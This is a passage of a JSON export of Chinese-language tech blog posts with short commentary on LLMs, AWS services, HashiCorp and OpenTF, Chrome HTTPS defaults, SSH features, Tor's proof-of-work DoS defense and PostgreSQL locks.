A100 80GB (假設你有 100 張的話，就是 40 小時)：\r\n\r\n<blockquote>本モデルの構築に要した時間について、例えば1.7BモデルについてはA100 80GBで換算し、約4000GPU時間を費やしています。学習時間は特に日本語の大規模言語モデルの学習では公開されていないことが多く、適切な比較はできませんが、例えば rinna 0.3Bモデルの学習はV100 32GBで約8600GPU時間を費やしているようで、費やした時間に比して効率の良い学習が行えていると考えられます。</blockquote>\r\n\r\n目前是提到有計畫要放出 instruction tuning 的版本：\r\n\r\n<blockquote>また、これらのモデルについて、指示文に対して適切な出力を行えるようにチューニング（Instruction tuning）したモデルを近日中に公開予定です。続報は@LINE_DEVをフォローしてお待ち下さい。</blockquote>\r\n\r\n這個 LLM 先記起來，以後也許在其他場景有機會用到？",
    "title": "日本 LINE 推出的 LLM (以日語材料訓練)"
  },
  {
    "id": "11303",
    "body": "這算一個歷史記錄，現在已經改回來了...\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://x.com/\">X</a> (前 <a href=\"https://twitter.com/\">Twitter</a>) 惡搞他們不喜歡的外部連結，然後被抓包，以及恢復的故事：「<a href=\"https://news.ycombinator.com/item?id=37130060\">Tell HN: t.co is adding a five-second delay to some domains</a>」。\r\n\r\n有人發現 <a href=\"https://t.co/\">t.co</a> 指到 <a href=\"https://nytimes.com/\">nytimes.com</a> 或是 <a href=\"https://threads.net/\">threads.net</a> 的連結會有很固定的五秒 delay：\r\n\r\n<blockquote>Go to Twitter and click on a link going to any url on \"NYTimes.com\" or \"threads.net\" and you'll see about a ~5 second delay before t.co forwards you to the right address.\r\n\r\nTwitter won't ban domains they don't like but will waste your time if you visit them.\r\n\r\nI've been tracking the NYT delay ever since it was added (8/4, roughly noon Pacific time), and the delay is so consistent it's obviously deliberate.</blockquote>\r\n\r\n然後就被 <a href=\"https://www.washingtonpost.com/\">Washington Post</a> 報導出來了：「<a href=\"https://www.washingtonpost.com/technology/2023/08/15/twitter-x-links-delayed/\">Elon Musk’s X is throttling traffic to websites he dislikes</a>」，在報導後沒多久，這個機制就被取消掉了。\r\n\r\n居然玩陰的 XDDD",
    "title": "X/Twitter 在惡搞外部連結結果被抓包玩陰的"
  },
  {
    "id": "11305",
    "body": "上一篇完全讀錯段落了，重寫...\r\n\r\n<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了新的 <code>m7a</code> 的機種：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-m7a-general-purpose-instances-powered-by-4th-gen-amd-epyc-processors/\">New – Amazon EC2 M7a General Purpose Instances Powered by 4th Gen AMD EPYC Processors</a>」。\r\n\r\n號稱與 <code>m6a</code> 相比有 50% 效能上的提升：\r\n\r\n<blockquote>Today, we’re announcing the general availability of new, general purpose Amazon EC2 M7a instances, powered by the 4th Gen AMD EPYC (Genoa) processors with a maximum frequency of 3.7 GHz, which offer up to 50 percent higher performance compared to M6a instances.</blockquote>\r\n\r\n不過查了一下價錢，<code>us-east-1</code> 的 <code>m6a.large</code> 是 $0.0864/hr，<code>m7a.large</code> 則是 $0.11592/hr (都是 2 vCPU + 8GB RAM)，漲了 34% 左右，如果計算 price performance 的話大約是 10%～15%？的確是不高所以不提 price performance，不過這次 <code>m7a</code> 提供了更小台的 <code>m7a.medium</code> (1 vCPU + 4GB RAM) 來補這塊 (<code>m6a</code> 最小的是 <code>m6a.large</code>)，$0.05796/hr。\r\n\r\n這樣看起來新的機種對於需要單核效能的應用應該會不錯？\r\n\r\n再來是可以租到的區域，目前看起來只有歐美的傳統大區有，亞洲區還要再等等：\r\n\r\n<blockquote>Amazon EC2 M7a instances are now available today in AWS Regions: US East (Ohio), US East (N. Virginia), US West (Oregon), and EU (Ireland).</blockquote>",
    "title": "Amazon EC2 推出 m7a 系列的機種"
  },
  {
    "id": "11306",
    "body": "去日本前在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://blog.danslimmon.com/2023/08/11/squeeze-the-hell-out-of-the-system-you-have/#like-2777\">Squeeze the hell out of the system you have</a>」這篇，用作者的名字翻了一下 <a href=\"https://www.linkedin.com/\">LinkedIn</a>，看起來講的是 <a href=\"https://www.hashicorp.com/\">HashiCorp</a> 的 <a href=\"https://en.wikipedia.org/wiki/Site_reliability_engineering\">SRE</a> 事情：「<a href=\"https://www.linkedin.com/in/danslimmon/\">Dan Slimmon</a>」。\r\n\r\n看的時候可以注意一下，文章裡面的觀點未必要認同，大多是他自己的看法或是想法，但裡面提到很多發生的事情，可以知道 HashiCorp 內目前搞了什麼東西。\r\n\r\n從 LinkedIn 的資料可以看到他從 2019 就加入 HashiCorp 了，所以文章一開頭這邊講的同事應該就是 HashiCorp 的同事：\r\n\r\n<blockquote>About a year ago, I raised a red flag with colleagues and managers about Postgres performance.</blockquote>\r\n\r\n往下看可以看到他們有遇到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的效能問題，然後每次都是以 scale up (加大機器) 的方式解決，考慮到 HashiCorp 的產品線，我會猜應該是 <a href=\"https://developer.hashicorp.com/terraform/cloud-docs\">Terraform Cloud</a> 這個產品線遇到的狀況。\r\n\r\n然後在後面提到的解法則是提到了 codebase 是 <a href=\"https://en.wikipedia.org/wiki/Ruby_on_Rails\">Rails</a>，他們花了三個月的時候不斷的重複 profiling + optimizing，包括 SQL 與 PostgreSQL 的設定：\r\n\r\n<blockquote>Two engineers (me and my colleague Ted – but mostly Ted) spent about 3 months working primarily on database performance issues. There was no silver bullet. We used our telemetry to identify heavy queries, dug into the (Rails) codebase to understand where they were coming from, and optimized or eliminated them. We also tuned a lot of Postgres settings.</blockquote>\r\n\r\n另外一組人則是弄了 read-only replication server，把 loading 拆出去：\r\n\r\n<blockquote>Two more engineers cut a path through the codebase to run certain expensive read-only queries on a replica DB. This effort bore fruit around the same time as (1), when we offloaded our single most frequent query (a SELECT triggered by polling web clients).</blockquote>\r\n\r\n這兩個方法大幅降低了資料庫的 peak loading，從 90% 降到 30%：\r\n\r\n<blockquote>These two efforts together reduced the maximum weekly CPU usage on the database from 90% to 30%.</blockquote>\r\n\r\n可以看到都還沒用到 sharding 的技巧，目前硬體的暴力程度可以撐很久 (而且看起來是在沒有投入太多資源在 DB-related tuning 上面)，快撞到的時候也還可以先用 $$ 換效能，然後投入人力開始 profiling 找問題...",
    "title": "HashiCorp 內 scale 的方法"
  },
  {
    "id": "11307",
    "body": "還在日本的時候在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37119942\">Show HN: Little Rat – Chrome extension monitors network calls of all extensions (github.com/dnakov)</a>」這篇，在介紹「<a href=\"https://github.com/dnakov/little-rat\">little-rat</a>」這個專案，可以看 extension 做了那些連線。\r\n\r\n放上 <a href=\"https://en.wikipedia.org/wiki/Chrome_Web_Store\">Chrome Web Store</a> 的版本比較陽春，只能擋而不能看，因為 <code>declarativeNetRequest.onRuleMatchedDebug</code> 不能上：\r\n\r\n<blockquote>The reason is that the extension uses the <code>declarativeNetRequest.onRuleMatchedDebug</code> API which is not available for publishing in the Chrome Web Store.</blockquote>\r\n\r\n比較完整的功能還是需要自己 <code>git clone</code> 下來後裝，缺點就是要每一台自己裝，另外也要自己更新重跑起來。\r\n\r\n裝好後跑一陣子讓他記錄，可以看到有些連線是預料中的，像是 <a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 會需要定時更新 rule，但也意外的看到一些有問題的 extension 了...",
    "title": "用 Little Rat 看哪些 extension 在後面亂連線"
  },
  {
    "id": "11310",
    "body": "看到「<a href=\"https://www.cnx-software.com/2023/07/25/intel-avx10-2-enable-avx-512-on-e-cores/\">Intel AVX10.2 ISA to enable AVX-512 capabilities on E-cores</a>」這篇提到了 <a href=\"https://www.intel.com/\">Intel</a> 的技術文件「<a href=\"https://cdrdv2-public.intel.com/784343/356368-intel-avx10-tech-paper.pdf\">The Converged Vector ISA: Intel® Advanced Vector Extensions 10</a>」，裡面提到了 Intel 後續對 <a href=\"https://en.wikipedia.org/wiki/AVX-512\">AVX-512</a> 的計畫。\r\n\r\n主要是這張，可以看到在 AVX10.2 的規劃中會支援 E-cores：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1692794658-8a552e04.webp\" /><img src=\"https://i.gslin.com/s/1692794658-8a552e04.png\" alt=\"\" /></picture>\r\n\r\n不過目前還要等，這邊只放了一個 future 的說明：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1692794706-dd45691f.webp\" /><img src=\"https://i.gslin.com/s/1692794706-dd45691f.png\" alt=\"\" /></picture>\r\n\r\n目前的傳言是 2024 或 2025 會有 AVX10.1 在 <a href=\"https://en.wikipedia.org/wiki/Xeon\">Xeon</a> 上出來：\r\n\r\n<blockquote>Intel says that version 1 of the AVX10 vector ISA (AVX10.1) will first be implemented on Intel Xeon “Granite Rapids” processors that, according to some media reports, are expected to launch by 2024 or 2025, so it will likely take a long while before AVX10.2 is implemented on processors with E-cores.</blockquote>\r\n\r\n但 AVX10.1 還沒有在 E-cores 上面執行 AVX512 的能力，所以 AVX10.2 應該是更後面...",
    "title": "Intel 對於在 E-cores 上面可以跑 AVX-512 指令集的計畫：AVX10.2"
  },
  {
    "id": "11311",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 SVP James Hamilton 寫了一篇「<a href=\"https://perspectives.mvdirona.com/2023/08/amazon-elastic-block-store-at-15-years/\">Amazon Elastic Block Store at 15 Years</a>」在講 <a href=\"https://aws.amazon.com/ebs/\">Amazon EBS</a> 的十五週年，裡面提到了一些數字。\r\n\r\n目前的每天的 IOPS 是 100 trillion，如果攤平的話大約是 11.57 billion IOPS/sec，如果很單純以目前高階 NVMe 卡大約是 1M IOPS/sec 這個數量級來算的話，在沒有任何 redundancy 架構，需要的量大約是萬張？以 AWS 的量感覺好像是個合理的數字... 考慮到 IOPS 主力應該是 SSD 或 NVMe 類的應用，加上 redundancy 以及保留 burst 空間的架構，最少有個十萬張... 應該不算有問題。\r\n\r\n<blockquote>I asked the EBS team to quantify customer usage in 2023, the 15th year of EBS. Focusing first on daily usage, EBS delivers more than 100 trillion input/output operations per day.</blockquote>\r\n\r\n另外一個是傳輸量，每天有 13EB，攤平大約是 150.46TB/sec，如果用上面提到的十萬顆來攤的話大約是需要 1.5GB/sec 的速度，拿數量級來算應該是差不多。\r\n\r\n<blockquote>Perhaps even more staggering is the fact that EBS transfers more than 13 exabytes of data for customers every day.</blockquote>\r\n\r\n另外一個是百萬客戶 (也許是帳號) 每天會開出三億個 EBS storage，我猜這跟機器的起起落落有關，現在 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 開機主要都是要掛 EBS 的 boot disk 了：\r\n\r\n<blockquote>Continuing to focus on daily usage, millions of customers use EBS daily, and these millions of customers create more than 390 million EBS storage volumes each day.</blockquote>\r\n\r\n的確如同 James Hamilton 說的，EBS 現在已經變成一個蠻重要的基礎建設了，很多 AWS 上的服務都是架在他上面，像是 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 利用了 EBS 的 block replication 組出了 readonly repica，而非走傳統的 replication 路子。",
    "title": "Amazon EBS 十五週年，以及一些數據"
  },
  {
    "id": "11312",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> (<a href=\"https://www.chromium.org/\">Chromium</a>) 宣布 115 版後將預設使用 HTTPS 連線：「<a href=\"https://blog.chromium.org/2023/08/towards-https-by-default.html\">Towards HTTPS by default</a>」。\r\n\r\n查了一下 115.0.5790.98 是 2023/07/18 就出的版本，現在才冒出這篇文章有點晚，但大概就是講一下幹了什麼事情？\r\n\r\n<blockquote>We're currently experimenting with this change in Chrome version 115, working to standardize the behavior across the web, and plan to roll out the feature to everyone soon.</blockquote>\r\n\r\n主要的差異是在於，即使你輸入或是點擊的連結是 <code>http://</code>，他還是會優先嘗試 HTTPS：\r\n\r\n<blockquote>Chrome will automatically upgrade all http:// navigations to https://, even when you click on a link that explicitly declares http://.</blockquote>\r\n\r\n只有在 <code>http://</code> 連結遇到 upgrade 到 HTTPS 失敗時才會回頭用 HTTP：\r\n\r\n<blockquote>This works very similarly to HSTS upgrading, but Chrome will detect when these upgrades fail (e.g. due to a site providing an invalid certificate or returning a HTTP 404), and will automatically fallback to http://.</blockquote>\r\n\r\n而本來就用 <code>https://</code> 的連線就完全不會碰 HTTP 了。\r\n\r\n講到推動 HTTPS 這點，前陣子剛好也是 <a href=\"https://en.wikipedia.org/wiki/Edward_Snowden\">Snowden</a> 揭露美國 <a href=\"https://en.wikipedia.org/wiki/PRISM\">PRISM</a> (<a href=\"https://zh.wikipedia.org/wiki/%E7%A8%9C%E9%8F%A1%E8%A8%88%E7%95%AB\">菱鏡計畫</a>) 十年的日子，當年在揭露後也因此加速了各種加密技術的基礎建設，像是 <a href=\"https://en.wikipedia.org/wiki/Let%27s_Encrypt\">Let's Encrypt</a>，而這也使得 HTTPS 更加普及，也讓 Google Chrome 現在可以預設切 HTTPS。",
    "title": "Google Chrome 將在 115 版之後預設使用 HTTPS 連線"
  },
  {
    "id": "11313",
    "body": "先前有提過採用 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License 2.0</a> 的 <a href=\"https://huggingface.co/tiiuae/falcon-40b\">Falcon 40B</a>，少數能跟 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">LLaMA</a> (第一代) 打對台的版本，而且是真正的 open source license：「<a href=\"https://blog.gslin.org/archives/2023/06/01/11208/falcon-40b-%E8%B6%85%E8%B6%8A-llama-65b-%E6%88%90%E7%82%BA%E7%9B%AE%E5%89%8D-open-llm-%E7%9A%84%E9%A0%98%E9%A0%AD/\">Falcon 40B 超越 LLaMA 65B 成為目前 Open LLM 的領頭</a>」，當時有提到 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 還沒有支援。\r\n\r\n過了一陣子，社群自己先 fork 了一版，想辦法支援 Falcon 40B：「<a href=\"https://github.com/cmp-nct/ggllm.cpp/\">cmp-nct/ggllm.cpp</a>」，但這也導致沒有跟到很多 llama.cpp 的新功能 (尤其是各種透過硬體加速的支援)。\r\n\r\n剛剛刷了一下，發現前幾天 llama.cpp 官方支援 Falcon 的 model 了：「<a href=\"https://github.com/ggerganov/llama.cpp/pull/2717\">llm : add Falcon support</a>」。\r\n\r\n看起來是個開始，可以看到還有列出一些項目要實作的，但看起來可以跑了。",
    "title": "llama.cpp 官方支援 Falcon"
  },
  {
    "id": "11314",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2023/08/11/11294/hashicorp-%e5%b0%87%e6%94%be%e6%a3%84-open-source-license%ef%bc%8c%e6%94%b9%e6%8e%a1%e7%94%a8-bsl-1-1/\">HashiCorp 將放棄 Open Source License，改採用 BSL 1.1</a>」這邊提到的，<a href=\"https://www.hashicorp.com/\">HashiCorp</a> 決定將所有產品線從現有的 open source license 換成非開源的 BSL 1.1 後，<a href=\"https://opentf.org/\">OpenTF</a> 先丟出了「呼籲」希望 HashiCorp 可以撤回這個決定：「<a href=\"https://opentf.org/\">The OpenTF Manifesto</a>」。\r\n\r\n想當然的，HashiCorp 沒有回應，所以 OpenTF 宣佈了要把 <a href=\"https://en.wikipedia.org/wiki/Terraform_(software)\">Terraform</a> 的最後一個 open source 版本 fork 出來：「<a href=\"https://opentf.org/announcement\">OpenTF Announces Fork of Terraform</a>」。\r\n\r\n有幾個比較重要的資訊，第一個是申請 <a href=\"https://en.wikipedia.org/wiki/Linux_Foundation\">Linux Foundation</a> 資格，希望成為 <a href=\"https://en.wikipedia.org/wiki/Cloud_Native_Computing_Foundation\">CNCF</a> 的一環：\r\n\r\n<blockquote>We completed all documents required for OpenTF to become part of the Linux Foundation with the end goal of having OpenTF as part of Cloud Native Computing Foundation.</blockquote>\r\n\r\n另外一個是首頁上的 Co-signed 的部分，翻了一下有三家公司 (Spacelift、env0、Scalr) 有提出支援五年五位的 Full time engineer 的經費 (Cover the cost of 5 FTEs for at least 5 years)，另外一家公司 (Sailorcloud) 則是提出支援兩年一位的經費 (Cover the cost of 1 FTE for at least 2 years)。\r\n\r\n接下來就是看這些能量到底有多少效果了...",
    "title": "OpenTF 宣佈從 Terraform 最後一個 Open Source 版本 fork 出來"
  },
  {
    "id": "11315",
    "body": "在「<a href=\"https://grahamhelton.com/blog/ssh-cheatsheet/\">An Excruciatingly Detailed Guide To SSH (But Only The Things I Actually Find Useful)</a>」這篇看到在介紹 <a href=\"https://en.wikipedia.org/wiki/Secure_Shell\">SSH</a> 的各種好用的功能。\r\n\r\n其中當然會提到 tunnel，這部份裡面提到了一張圖，原始文章是「<a href=\"https://iximiuz.com/en/posts/ssh-tunnels/\">A Visual Guide to SSH Tunnels: Local and Remote Port Forwarding</a>」這邊，圖解 SSH tunnel 的功能 (不過只有 <code>-L</code> 與 <code>-R</code> 的)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1693070627-e6bcc86f.webp\" /><img src=\"https://i.gslin.com/s/1693070627-e6bcc86f.png\" alt=\"\" /></picture>\r\n\r\n回到原來這篇文章，這篇講的東西比較多一點，關於 tunnel 相關的還包括了 <code>-D</code> 與 <code>-J</code>。\r\n\r\n另外提到了 <code>-A</code>、<code>-t</code>、<code>-g</code> 與 <code>~?</code> 的用法，以及其他各種跟 SSH 有關的工具。\r\n\r\n翻了一輪後應該就 <code>-g</code> 還不熟，另外發現 <code>-J</code> (<code>ProxyJump</code>) 居然可以用逗號 <code>,</code> 指定一串跳板機，一路跳進去... 翻了 manpage 發現有寫：\r\n\r\n<blockquote>Multiple jump hops may be specified separated by comma characters.</blockquote>",
    "title": "SSH 的各種好用的功能"
  },
  {
    "id": "11316",
    "body": "在「<a href=\"https://blog.torproject.org/introducing-proof-of-work-defense-for-onion-services/\">Introducing Proof-of-Work Defense for Onion Services</a>」這邊看到 0.4.8 的新機制，當 <a href=\"https://en.wikipedia.org/wiki/Onion_services\">Onion</a> 服務受到 <a href=\"https://en.wikipedia.org/wiki/Denial-of-service_attack\">DoS</a> 時，會需要 client 提供 <a href=\"https://en.wikipedia.org/wiki/Proof_of_work\">PoW</a> 證明，有證明的會優先處理：\r\n\r\n<blockquote>Tor's PoW defense is a dynamic and reactive mechanism, remaining dormant under normal use conditions to ensure a seamless user experience, but when an onion service is under stress, the mechanism will prompt incoming client connections to perform a number of successively more complex operations. The onion service will then prioritize these connections based on the effort level demonstrated by the client.</blockquote>\r\n\r\n主要原因是傳統遇到 DoS 時可以透過 IP address 之類的資訊設計阻擋機制，但在 Onion 服務裡面沒有這個資訊，所以需要其他方式阻擋：\r\n\r\n<blockquote>The inherent design of onion services, which prioritizes user privacy by obfuscating IP addresses, has made it vulnerable to DoS attacks and traditional IP-based rate limits have been imperfect protections in these scenarios. In need of alternative solutions, we devised a proof-of-work mechanism involving a client puzzle to thwart DoS attacks without compromising user privacy.</blockquote>\r\n\r\n這個 PoW 機制的說明可以在「<a href=\"https://gitlab.torproject.org/tpo/core/torspec/-/blob/main/proposals/327-pow-over-intro.txt\">torspec/proposals/327-pow-over-intro.txt</a>」這邊看到，看起來是三年前 (2020/04/02) 就提出來了，直到 0.4.8 才推出。\r\n\r\n裡面有提到 PoW 的演算法是用 <a href=\"https://github.com/tevador/equix\">Equi-X</a>：\r\n\r\n<blockquote>For our proof-of-work function we will use the Equi-X scheme by tevador [REF_EQUIX].</blockquote>\r\n\r\n看起來是個方法，而且從 cryptocurrency 後大家對 PoW 的用法愈來愈熟悉了，在這邊用還不錯...",
    "title": "Tor 的 Onion 導入防禦機制，在遭受 DoS 的時候要求用戶端執行 PoW 任務"
  },
  {
    "id": "11318",
    "body": "在「<a href=\"https://rosenzweig.io/blog/first-conformant-m1-gpu-driver.html\">The first conformant M1 GPU driver</a>」這邊看到 <a href=\"https://www.apple.com/mac/\">Mac</a> (M1 系列與 M2 系列) 上的 <a href=\"https://en.wikipedia.org/wiki/Asahi_Linux\">Asahi Linux</a> 支援 <a href=\"https://en.wikipedia.org/wiki/OpenGL_ES\">OpenGL ES</a> 3.1 了。\r\n\r\n文章裡面有提到，目前 <a href=\"https://en.wikipedia.org/wiki/MacOS\">macOS</a> 上沒有業界標準介面可以用：\r\n\r\n<blockquote>Unlike ours, the manufacturer’s M1 drivers are unfortunately not conformant for any standard graphics API, whether Vulkan or OpenGL or OpenGL ES. That means that there is no guarantee that applications using the standards will work on your M1/M2 (if you’re not running Linux).</blockquote>\r\n\r\n也許有機會會看到有人 backport 回 macOS 上？",
    "title": "Mac (M1/M2) 上的 Asahi Linux 支援 OpenGL ES 3.1"
  },
  {
    "id": "11319",
    "body": "<a href=\"https://pglocks.org/\">PostgreSQL Lock Conflicts</a> 這份資料窮舉了 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的 lock 機制，分成兩種方式呈現：\r\n\r\n<ul>\r\n\t<li>依照 Lock：文內列出 12 種 lock。</li>\r\n\t<li>依照 Command：文內列出了 67 種指令。</li>\r\n</ul>\r\n\r\n可以交叉查，用 lock 查出有哪些 command 有用到，或是反過來用 command 查會產生那些 lock：\r\n\r\n<blockquote>This tool shows all commands and locks in postgres. If you select a command, it lists the locks that it acquires, commands that conflicts with it and commands that are allowed to run concurrently with it (with no conflict or blocking). If you select a lock, it lists commands that acquire the lock and what are the other conflicting locks.</blockquote>\r\n\r\n舉個例子來說，Lock 列表裡的第一個，<a href=\"https://pglocks.org/?pglock=AccessShareLock\">AccessShareLock</a>，這個點進去後可以看到有三個指令會有使用到 AccessShareLock 的情境，分別是 <a href=\"https://pglocks.org/?pgcommand=SELECT\">SELECT</a>、<a href=\"https://pglocks.org/?pgcommand=COPY%20TO\">COPY TO</a> 以及 <a href=\"https://pglocks.org/?pgcommand=ALTER%20TABLE%20ADD%20FOREIGN%20KEY%20(PARENT)\">ALTER TABLE ADD FOREIGN KEY (PARENT)</a>。\r\n\r\n是個更熟悉 PostgreSQL 的路徑？",
    "title": "窮舉 PostgreSQL 的 LOCK 機制"
  },
  {
    "id": "11320",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 宣佈漲價：「<a href=\"https://www.backblaze.com/blog/2023-product-announcement/\">Backblaze Product and Pricing Updates</a>」。\r\n\r\n其中 <a href=\"https://www.backblaze.com/cloud-storage\">B2 Cloud Storage</a> 這邊最主要的改變在 Storage 的部分，這次漲了 20%，從 $5/TB 變成 $6/TB：\r\n\r\n<blockquote>Storage Price: Effective October 3, 2023, we are increasing the monthly pay-as-you-go storage rate from $5/TB to $6/TB. The price of B2 Reserve will not change.</blockquote>\r\n\r\n頻寬的部分增加了一些 free quota，不過在意頻寬成本的人都會用 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 之類的方式避開了，這個其實沒有什麼差... (因為 Backblaze 流出到 Cloudflare 的流量是不計費的)\r\n\r\nBackblaze Computer Backup 的部分沒有什麼在碰，但看起來最主要的改變是從現有的 $7/mo 漲到 $9/mo，大約 28.57%：\r\n\r\n<blockquote>Computer Backup Pricing: Effective October 3, new purchases and renewals will be $9/month, $99/year, and $189 for two-year subscription plans, and Forever Version History pricing will be $0.006/GB/month.</blockquote>\r\n\r\n漲幅其實頗高的，但漲完後還是市場上比較低價的產品...",
    "title": "Backblaze 宣佈漲價"
  },
  {
    "id": "11321",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 <a href=\"https://aws.amazon.com/dedicatedlocalzones/\">AWS Dedicated Local Zones</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/08/aws-dedicated-local-zones/\">Announcing AWS Dedicated Local Zones</a>」。\r\n\r\n先講 <a href=\"https://aws.amazon.com/outposts/\">AWS Outposts</a>，他就是提供 AWS 自己的硬體，放到用戶的機房裡面，所以依照需求有不同大小的機器，甚至是整個機櫃：\r\n\r\n<blockquote>AWS Outposts is a family of fully managed solutions delivering AWS infrastructure and services to virtually any on-premises or edge location for a truly consistent hybrid experience. Outposts solutions allow you to extend and run native AWS services on premises, and is available in a variety of form factors, from 1U and 2U Outposts servers to 42U Outposts racks, and multiple rack deployments.</blockquote>\r\n\r\n在「<a href=\"https://docs.aws.amazon.com/outposts/latest/userguide/what-is-outposts.html\">What is AWS Outposts?</a>」這邊有詳細列出有哪些服務可以跑在上面，可以看到主要就是基礎服務，以及一些吃 local 特性的服務。\r\n\r\n另外在「<a href=\"https://docs.aws.amazon.com/outposts/latest/userguide/how-outposts-works.html\">How AWS Outposts works</a>」這邊可以看出架構上會在同一個 VPC 裡面，但是不屬於同一個 AZ 下：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1693208526-27f29522.webp\" /><img src=\"https://i.gslin.com/s/1693208526-27f29522.png\" alt=\"\" /></picture>\r\n\r\n而這次推出的 Dedicated Local Zones 還是有些地方沒看懂跟 AWS Outposts 差在哪裡，看起來很像是重新包裝而已...\r\n\r\n首先是首頁提到的，這邊有提到 <a href=\"https://aws.amazon.com/ec2/nitro/\">AWS Nitro System</a>，所以猜測這是 AWS 的硬體，而不是自己的硬體：\r\n\r\n<blockquote>Build with AWS managed secure cloud infrastructure\r\n\r\nBenefit from the same AWS security standards that apply to AWS Regions and AWS Local Zones and are delivered with the security of the AWS Nitro System to help ensure confidentiality and integrity of customer data.</blockquote>\r\n\r\n另外在公告裡面提到的服務，跟 Outposts 有些差異：\r\n\r\n<blockquote>AWS services, such as Amazon EC2, Amazon Virtual Private Cloud (Amazon VPC), Amazon Elastic Block Store (Amazon EBS), Elastic Load Balancing (ELB), Amazon Elastic Container Service (Amazon ECS), Amazon Elastic Kubernetes Service (Amazon EKS), and AWS Direct Connect are available in Dedicated Local Zones.</blockquote>\r\n\r\n另外在「<a href=\"https://aws.amazon.com/dedicatedlocalzones/faqs/\">AWS Dedicated Local Zones FAQs</a>」這邊則試著說明兩者差異，但就這些句子看起來，只是不同面向的東西：\r\n\r\n<blockquote>Q: How are AWS Dedicated Local Zones different from AWS Outposts?\r\n\r\nAWS Outposts is designed for workloads that need to remain on-premises due to latency requirements, where customers want those workloads to run seamlessly with their other workloads in AWS. AWS Outposts racks are fully managed and configurable compute and storage racks built with AWS-designed hardware that allow customers to run compute and storage on-premises, while seamlessly connecting to AWS’s broad array of services in the cloud.\r\n\r\nAWS Dedicated Local Zones are designed to eliminate the operational overhead of managing on-premises infrastructure at scale. Some customers have long-term, complex cloud migration projects and need infrastructure that seamlessly scales to support their large-scale demand. Some of these customers represent the interests of a customer community and also need multi-tenancy features to efficiently coordinate across their stakeholders. Dedicated Local Zones enable these customers to reduce the administrative burden of managing their own infrastructure on-premises with scalable, resilient, and multitenant cloud infrastructure that is fully AWS-managed and built exclusively for their use.</blockquote>\r\n\r\n另外回到首頁看使用單位，目前是 <a href=\"https://en.wikipedia.org/wiki/Government_Technology_Agency\">GovTech Singapore</a>，看起來就是重新包裝？\r\n\r\n另外一個猜測是在客戶的機器上面裝 AWS Nitro System，然後裝 AWS 的軟體？這就有點怪了，而且這樣相容性之類的問題也頗麻煩，也許要指定配合的機種？\r\n\r\n等有機會遇到的時候再跟 AWS 的人問問看好了，目前也還用不到...",
    "title": "AWS 弄出了 AWS Dedicated Local Zones，很像 AWS Outposts..."
  },
  {
    "id": "11322",
    "body": "我自己沒遇過，但是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到有人有遇到，所以記錄起來：「<a href=\"https://news.ycombinator.com/item?id=37175503\">Tell HN: Gmail rate limiting emails from AWS SES</a>」。\r\n\r\n<a href=\"https://aws.amazon.com/ses/\">Amazon SES</a> 預設是共用 IP pool，所以遇到這種情況不算太意外，但應該是暫時性的，不過發問的作者有提到後來的解法是花 US$25/mo 使用 Dedicated IP 解決 IP reputation 的問題 (在 <a href=\"https://news.ycombinator.com/item?id=37177533\">id=37177533</a> 這邊)：\r\n\r\n<blockquote>Thanks you all for comments. I have made a decision to subscribed to dedicated IPs (credits: @slau).\r\n\r\nThe differentiating factor between our current AWS SES plan and the competitors (mentioned in the comments) is having a dedicated IP. With our current volume, none of the competitors are anyway near AWS SES costs. So, moving to a dedicated IPs thats cost 25$ extra not only solves our issue, but also no change in code/infrastructure.</blockquote>\r\n\r\n記得以前另外一個教訓是，寄信還是儘量用 IPv4 address 去寄，因為 IPv6 address 的 reputation 得養頗久... 不過這個也是很久前的事情了。",
    "title": "Amazon SES 寄到 Gmail 受到阻擋的情況"
  },
  {
    "id": "11323",
    "body": "看到「<a href=\"https://gitlab.com/groups/gitlab-org/-/epics/11247\">Support ActivityPub for merge requests</a>」這則消息，這個 epic 的作者 <a href=\"https://www.linkedin.com/in/derekferguson/\">Derek Ferguson</a> 可以看到是 <a href=\"https://en.wikipedia.org/wiki/GitLab\">GitLab</a> 家的「Group Manager, Product」，看起來是產品團隊的主管職 (不是很確定)。\r\n\r\n這張 epic 想建立跨 GitLab 服務之間的 ecosystem：\r\n\r\n<blockquote>There already has been several very popular discussions around this (see here, here and the epic here). The gist of it is: what people really want is to have one global \"Gitlab network\" to be able to interact between various projects without having to register on each of their hosts.</blockquote>\r\n\r\n不過目前像是在討論階段？但既然是由內部提出來的，目前的討論看起來也還算... 正面？應該是有機會看到後續的更新...",
    "title": "GitLab 想要支援 ActivityPub"
  },
  {
    "id": "11326",
